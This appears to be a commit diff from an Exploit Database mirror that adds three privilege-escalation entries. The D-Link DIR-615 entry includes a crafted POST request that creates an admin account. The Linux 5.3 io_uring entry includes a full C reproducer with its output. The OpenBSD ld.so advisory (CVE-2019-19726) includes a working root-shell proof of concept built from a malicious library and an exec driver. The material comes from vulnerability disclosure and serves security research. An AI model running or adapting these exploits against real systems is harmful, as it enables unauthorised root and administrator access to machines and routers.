DB: 2019-12-17
3 changes to exploits/shellcodes Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds OpenBSD 6.x - Dynamic Loader Privilege Escalation D-Link DIR-615 - Privilege Escalation
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Offensive Security
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37
exploits/hardware/webapps/47778.txt
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37
exploits/hardware/webapps/47778.txt
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# Exploit Title: D-Link DIR-615 - Privilege Escalation
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# Date: 2019-12-10
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# Exploit Author: Sanyam Chawla
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# Vendor Homepage: http://www.dlink.co.in
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# Category: Hardware (Wi-fi Router)
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# Hardware Link: http://www.dlink.co.in/products/?pid=678
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# Hardware Version: T1
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# Firmware Version: 20.07
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# Tested on: Windows 10 and Kali linux
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# CVE: N/A
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# Reproduction Steps:
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# Login to your wi-fi router gateway with normal user credentials [i.e: http://192.168.0.1]
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# Go to the Maintenance page and click on Admin on the left panel.
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# There is an option to create a user and by default, it shows only user accounts.
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# Create an account with a name(i.e ptguy) and change the privileges from user to root(admin)
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# by changing privileges id (1 to 2) with burp suite.
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# Privilege Escalation Post Request
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POST /form2userconfig.cgi HTTP/1.1
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Host: 192.168.0.1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded
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Content-Length: 122
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Origin: http://192.168.0.1
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Connection: close
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Referer: http://192.168.0.1/userconfig.htm
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Cookie: SessionID=
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Upgrade-Insecure-Requests: 1
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username=ptguy&privilege=2&newpass=pentesting&confpass=pentesting&adduser=Add&hiddenpass=&submit.htm%3Fuserconfig.htm=Send
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# Now log in with newly created root (ptguy) user. You have all administrator rights.
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206
exploits/linux/local/47779.txt
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206
exploits/linux/local/47779.txt
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Since commit 0fa03c624d8f ("io_uring: add support for sendmsg()", first in v5.3),
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io_uring has support for asynchronously calling sendmsg().
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Unprivileged userspace tasks can submit IORING_OP_SENDMSG submission queue
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entries, which cause sendmsg() to be called either in syscall context in the
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original task, or - if that wasn't able to send a message without blocking - on
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a kernel worker thread.
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The problem is that sendmsg() can end up looking at the credentials of the
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calling task for various reasons; for example:
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- sendmsg() with non-null, non-abstract ->msg_name on an unconnected AF_UNIX
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datagram socket ends up performing filesystem access checks
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- sendmsg() with SCM_CREDENTIALS on an AF_UNIX socket ends up looking at
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process credentials
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- sendmsg() with non-null ->msg_name on an AF_NETLINK socket ends up performing
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capability checks against the calling process
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When the request has been handed off to a kernel worker task, all such checks
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are performed against the credentials of the worker - which are default kernel
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creds, with UID 0 and full capabilities.
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To force io_uring to hand off a request to a kernel worker thread, an attacker
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can abuse the fact that the opcode field of the SQE is read multiple times, with
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accesses to the struct msghdr in between: The attacker can first submit an SQE
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of type IORING_OP_RECVMSG whose struct msghdr is in a userfaultfd region, and
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then, when the userfaultfd triggers, switch the type to IORING_OP_SENDMSG.
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Here's a reproducer for Linux 5.3 that demonstrates the issue by adding an
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IPv4 address to the loopback interface without having the required privileges
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for that:
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==========================================================================
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$ cat uring_sendmsg.c
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#define _GNU_SOURCE
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#include <pthread.h>
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#include <unistd.h>
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#include <stdio.h>
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#include <err.h>
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#include <sys/mman.h>
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#include <sys/syscall.h>
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#include <sys/socket.h>
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#include <sys/un.h>
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#include <sys/ioctl.h>
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#include <linux/rtnetlink.h>
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#include <linux/if_addr.h>
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#include <linux/io_uring.h>
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#include <linux/userfaultfd.h>
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#include <linux/netlink.h>
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#define SYSCHK(x) ({ \
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typeof(x) __res = (x); \
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if (__res == (typeof(x))-1) \
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err(1, "SYSCHK(" #x ")"); \
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__res; \
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})
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static int uffd = -1;
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static struct iovec *iov;
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static struct iovec real_iov;
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static struct io_uring_sqe *sqes;
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static void *uffd_thread(void *dummy) {
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struct uffd_msg msg;
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int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
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if (res != sizeof(msg)) errx(1, "uffd read");
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printf("got userfaultfd message\n");
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sqes[0].opcode = IORING_OP_SENDMSG;
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union {
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struct iovec iov;
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char pad[0x1000];
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} vec = {
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.iov = real_iov
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};
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struct uffdio_copy copy = {
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.dst = (unsigned long)iov,
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.src = (unsigned long)&vec,
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.len = 0x1000
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};
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SYSCHK(ioctl(uffd, UFFDIO_COPY, ©));
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return NULL;
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}
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int main(void) {
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// initialize uring
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struct io_uring_params params = { };
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int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, ¶ms));
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unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
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unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
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sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));
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// prepare userfaultfd-trapped IO vector page
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iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
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uffd = SYSCHK(syscall(SYS_userfaultfd, 0));
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struct uffdio_api api = { .api = UFFD_API, .features = 0 };
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SYSCHK(ioctl(uffd, UFFDIO_API, &api));
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struct uffdio_register reg = {
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.mode = UFFDIO_REGISTER_MODE_MISSING,
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.range = { .start = (unsigned long)iov, .len = 0x1000 }
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};
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SYSCHK(ioctl(uffd, UFFDIO_REGISTER, ®));
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pthread_t thread;
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if (pthread_create(&thread, NULL, uffd_thread, NULL))
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errx(1, "pthread_create");
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// construct netlink message
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int sock = SYSCHK(socket(AF_NETLINK, SOCK_DGRAM, NETLINK_ROUTE));
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struct sockaddr_nl addr = {
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.nl_family = AF_NETLINK
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};
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struct {
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struct nlmsghdr hdr;
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struct ifaddrmsg body;
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struct rtattr opthdr;
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unsigned char addr[4];
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} __attribute__((packed)) msgbuf = {
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.hdr = {
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.nlmsg_len = sizeof(msgbuf),
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.nlmsg_type = RTM_NEWADDR,
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.nlmsg_flags = NLM_F_REQUEST
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},
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.body = {
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.ifa_family = AF_INET,
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.ifa_prefixlen = 32,
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.ifa_flags = IFA_F_PERMANENT,
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.ifa_scope = 0,
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.ifa_index = 1
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},
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.opthdr = {
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.rta_len = sizeof(struct rtattr) + 4,
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.rta_type = IFA_LOCAL
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},
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.addr = { 1, 2, 3, 4 }
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};
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real_iov.iov_base = &msgbuf;
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real_iov.iov_len = sizeof(msgbuf);
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struct msghdr msg = {
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.msg_name = &addr,
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.msg_namelen = sizeof(addr),
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.msg_iov = iov,
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.msg_iovlen = 1,
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};
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// send netlink message via uring
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sqes[0] = (struct io_uring_sqe) {
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.opcode = IORING_OP_RECVMSG,
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.fd = sock,
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.addr = (unsigned long)&msg
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};
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((int*)(sq_ring + params.sq_off.array))[0] = 0;
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(*(int*)(sq_ring + params.sq_off.tail))++;
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int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
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printf("submitted %d, getevents done\n", submitted);
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int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
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printf("cq_tail = %d\n", cq_tail);
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if (cq_tail != 1) errx(1, "expected cq_tail==1");
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struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
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if (cqe->res < 0) {
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printf("result: %d (%s)\n", cqe->res, strerror(-cqe->res));
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} else {
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printf("result: %d\n", cqe->res);
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}
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}
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$ gcc -Wall -pthread -o uring_sendmsg uring_sendmsg.c
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$ ip addr show dev lo
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1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
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link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
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inet 127.0.0.1/8 scope host lo
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valid_lft forever preferred_lft forever
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inet6 ::1/128 scope host
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valid_lft forever preferred_lft forever
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$ ./uring_sendmsg
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got userfaultfd message
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submitted 1, getevents done
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cq_tail = 1
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result: 32
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$ ip addr show dev lo
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1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
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link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
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inet 127.0.0.1/8 scope host lo
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valid_lft forever preferred_lft forever
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inet 1.2.3.4/32 scope global lo
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valid_lft forever preferred_lft forever
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inet6 ::1/128 scope host
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valid_lft forever preferred_lft forever
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$
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==========================================================================
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The way I see it, the easiest way to fix this would probably be to grab a
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reference to the caller's credentials with get_current_cred() in
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io_uring_create(), then let the entry code of all the kernel worker threads
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permanently install these as their subjective credentials with override_creds().
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(Or maybe commit_creds() - that would mean that you could actually see the
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owning user of these threads in the output of something like "ps aux". On the
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other hand, I'm not sure how that impacts stuff like signal sending, so
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override_creds() might be safer.) It would mean that you can't safely use an
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io_uring instance across something like a setuid() transition that drops
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privileges, but that's probably not a big problem?
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While the security bug was only introduced by the addition of IORING_OP_SENDMSG,
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it would probably be beneficial to mark such a change for backporting all the
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way to v5.1, when io_uring was added - I think e.g. the SELinux hook that is
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called from rw_verify_area() has so far always attributed all the I/O operations
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to the kernel context, which isn't really a security problem, but might e.g.
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cause unexpected denials depending on the SELinux policy.
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233
exploits/openbsd/local/47780.txt
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233
exploits/openbsd/local/47780.txt
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Qualys Security Advisory
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Local Privilege Escalation in OpenBSD's dynamic loader (CVE-2019-19726)
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==============================================================================
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Contents
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==============================================================================
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Summary
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Analysis
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Demonstration
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Acknowledgments
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==============================================================================
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Summary
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==============================================================================
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We discovered a Local Privilege Escalation in OpenBSD's dynamic loader
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(ld.so): this vulnerability is exploitable in the default installation
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(via the set-user-ID executable chpass or passwd) and yields full root
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privileges.
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We developed a simple proof of concept and successfully tested it
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against OpenBSD 6.6 (the current release), 6.5, 6.2, and 6.1, on both
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amd64 and i386; other releases and architectures are probably also
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exploitable.
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==============================================================================
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Analysis
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==============================================================================
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In this section, we analyze a step-by-step execution of our proof of
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concept:
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------------------------------------------------------------------------------
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1/ We execve() the set-user-ID /usr/bin/chpass, but first:
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1a/ we set the LD_LIBRARY_PATH environment variable to one single dot
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(the current working directory) and approximately ARG_MAX colons (the
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maximum number of bytes for the argument and environment list); as
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described in man ld.so:
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LD_LIBRARY_PATH
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A colon separated list of directories, prepending the default
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search path for shared libraries. This variable is ignored for
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set-user-ID and set-group-ID executables.
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1b/ we set the RLIMIT_DATA resource limit to ARG_MAX * sizeof(char *)
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(2MB on amd64, 1MB on i386); as described in man setrlimit:
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RLIMIT_DATA The maximum size (in bytes) of the data segment for a
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process; this includes memory allocated via malloc(3) and
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all other anonymous memory mapped via mmap(2).
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------------------------------------------------------------------------------
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2/ Before the main() function of chpass is executed, the _dl_boot()
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function of ld.so is executed and calls _dl_setup_env():
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262 void
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263 _dl_setup_env(const char *argv0, char **envp)
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264 {
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...
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271 _dl_libpath = _dl_split_path(_dl_getenv("LD_LIBRARY_PATH", envp));
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...
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283 _dl_trust = !_dl_issetugid();
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284 if (!_dl_trust) { /* Zap paths if s[ug]id... */
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285 if (_dl_libpath) {
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286 _dl_free_path(_dl_libpath);
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287 _dl_libpath = NULL;
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288 _dl_unsetenv("LD_LIBRARY_PATH", envp);
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289 }
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------------------------------------------------------------------------------
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3/ At line 271, _dl_getenv() returns a pointer to our LD_LIBRARY_PATH
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environment variable and passes it to _dl_split_path():
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23 char **
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24 _dl_split_path(const char *searchpath)
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25 {
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..
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35 pp = searchpath;
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36 while (*pp) {
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37 if (*pp == ':' || *pp == ';')
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38 count++;
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39 pp++;
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40 }
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..
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45 retval = _dl_reallocarray(NULL, count, sizeof(*retval));
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46 if (retval == NULL)
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47 return (NULL);
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------------------------------------------------------------------------------
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4/ At line 45, count is approximately ARG_MAX (the number of colons in
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our LD_LIBRARY_PATH) and _dl_reallocarray() returns NULL (because of our
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low RLIMIT_DATA); at line 47, _dl_split_path() returns NULL.
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------------------------------------------------------------------------------
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5/ As a result, _dl_libpath is NULL (line 271) and our LD_LIBRARY_PATH
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is ignored, but it is not deleted from the environment (CVE-2019-19726):
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although _dl_trust is false (_dl_issetugid() returns true because chpass
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is set-user-ID), _dl_unsetenv() is not called (line 288) because
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_dl_libpath is NULL (line 285).
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------------------------------------------------------------------------------
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6/ Next, the main() function of chpass is executed, and it:
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6a/ calls setuid(0), which sets the real and effective user IDs to 0;
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6b/ calls pw_init(), which resets RLIMIT_DATA to RLIM_INFINITY;
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6c/ calls pw_mkdb(), which vfork()s and execv()s /usr/sbin/pwd_mkdb
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(unlike execve(), execv() does not reset the environment).
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------------------------------------------------------------------------------
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7/ Before the main() function of pwd_mkdb is executed, the _dl_boot()
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function of ld.so is executed and calls _dl_setup_env():
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7a/ at line 271, _dl_getenv() returns a pointer to our
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LD_LIBRARY_PATH environment variable (because it was not deleted from
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the environment in step 5, and because execv() did not reset the
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environment in step 6c);
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7b/ at line 45, _dl_reallocarray() does not return NULL anymore
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(because our low RLIMIT_DATA was reset in step 6b);
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7c/ as a result, _dl_libpath is not NULL (line 271), and it is not
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reset to NULL (line 287) because _dl_trust is true (_dl_issetugid()
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returns false because pwd_mkdb is not set-user-ID, and because the
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real and effective user IDs were both set to 0 in step 6a): our
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LD_LIBRARY_PATH is not ignored anymore.
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------------------------------------------------------------------------------
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8/ Finally, ld.so searches for shared libraries in _dl_libpath (our
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LD_LIBRARY_PATH) and loads our own library from the current working
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directory (the dot in our LD_LIBRARY_PATH).
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------------------------------------------------------------------------------
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==============================================================================
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Demonstration
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==============================================================================
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In this section, we demonstrate the use of our proof of concept:
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------------------------------------------------------------------------------
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$ id
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uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
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$ cd /tmp
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$ cat > lib.c << "EOF"
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#include <paths.h>
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#include <unistd.h>
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static void __attribute__ ((constructor)) _init (void) {
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if (setuid(0) != 0) _exit(__LINE__);
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if (setgid(0) != 0) _exit(__LINE__);
|
||||
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL };
|
||||
execve(argv[0], argv, NULL);
|
||||
_exit(__LINE__);
|
||||
}
|
||||
EOF
|
||||
|
||||
$ readelf -a /usr/sbin/pwd_mkdb | grep NEEDED
|
||||
0x0000000000000001 (NEEDED) Shared library: [libutil.so.13.1]
|
||||
0x0000000000000001 (NEEDED) Shared library: [libc.so.95.1]
|
||||
|
||||
$ gcc -fpic -shared -s -o libutil.so.13.1 lib.c
|
||||
|
||||
$ cat > poc.c << "EOF"
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/resource.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int
|
||||
main(int argc, char * const * argv)
|
||||
{
|
||||
#define LLP "LD_LIBRARY_PATH=."
|
||||
static char llp[ARG_MAX - 128];
|
||||
memset(llp, ':', sizeof(llp)-1);
|
||||
memcpy(llp, LLP, sizeof(LLP)-1);
|
||||
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL };
|
||||
|
||||
#define DATA (ARG_MAX * sizeof(char *))
|
||||
const struct rlimit data = { DATA, DATA };
|
||||
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__);
|
||||
|
||||
if (argc <= 1) _exit(__LINE__);
|
||||
argv += 1;
|
||||
execve(argv[0], argv, envp);
|
||||
_exit(__LINE__);
|
||||
}
|
||||
EOF
|
||||
|
||||
$ gcc -s -o poc poc.c
|
||||
|
||||
$ ./poc /usr/bin/chpass
|
||||
|
||||
# id
|
||||
uid=0(root) gid=0(wheel) groups=32767(nobody)
|
||||
|
||||
------------------------------------------------------------------------------
|
||||
|
||||
|
||||
==============================================================================
|
||||
Acknowledgments
|
||||
==============================================================================
|
||||
|
||||
We thank Theo de Raadt and the OpenBSD developers for their incredibly
|
||||
quick response: they published a patch for this vulnerability in less
|
||||
than 3 hours. We also thank MITRE's CVE Assignment Team.
|
||||
|
||||
|
||||
|
||||
[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
|
||||
|
||||
|
||||
|
||||
This message may contain confidential and privileged information. If it has been sent to you in error, please reply to advise the sender of the error and then immediately delete it. If you are not the intended recipient, do not read, copy, disclose or otherwise use this message. The sender disclaims any liability for such unauthorized use. NOTE that all incoming emails sent to Qualys email accounts will be archived and may be scanned by us and/or by external service providers to detect and prevent threats to our systems, investigate illegal or inappropriate behavior, and/or eliminate unsolicited promotional emails (“spam”). If you have any concerns about this process, please contact us.
|
||||
|
|
@ -10841,6 +10841,8 @@ id,file,description,date,author,type,platform,port
|
|||
47759,exploits/windows/local/47759.py,"SpotAuditor 5.3.2 - 'Base64' Local Buffer Overflow (SEH)",2019-12-09,"Kirill Nikolaev",local,windows,
|
||||
47763,exploits/hardware/local/47763.txt,"Inim Electronics Smartliving SmartLAN 6.x - Hard-coded Credentials",2019-12-10,LiquidWorm,local,hardware,
|
||||
47775,exploits/windows/local/47775.py,"FTP Commander Pro 8.03 - Local Stack Overflow",2019-12-13,boku,local,windows,
|
||||
47779,exploits/linux/local/47779.txt,"Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds",2019-12-16,"Google Security Research",local,linux,
|
||||
47780,exploits/openbsd/local/47780.txt,"OpenBSD 6.x - Dynamic Loader Privilege Escalation",2019-12-16,"Qualys Corporation",local,openbsd,
|
||||
1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
|
||||
2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
|
||||
5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
|
||||
|
|
@ -42085,3 +42087,4 @@ id,file,description,date,author,type,platform,port
|
|||
47772,exploits/php/webapps/47772.rb,"OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit)",2019-12-12,"Onur ER",webapps,php,
|
||||
47773,exploits/php/webapps/47773.txt,"Bullwark Momentum Series JAWS 1.0 - Directory Traversal",2019-12-12,"numan türle",webapps,php,
|
||||
47774,exploits/hardware/webapps/47774.txt,"NVMS 1000 - Directory Traversal",2019-12-13,"numan türle",webapps,hardware,
|
||||
47778,exploits/hardware/webapps/47778.txt,"D-Link DIR-615 - Privilege Escalation",2019-12-16,"Sanyam Chawla",webapps,hardware,
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
Loading…
Add table
Reference in a new issue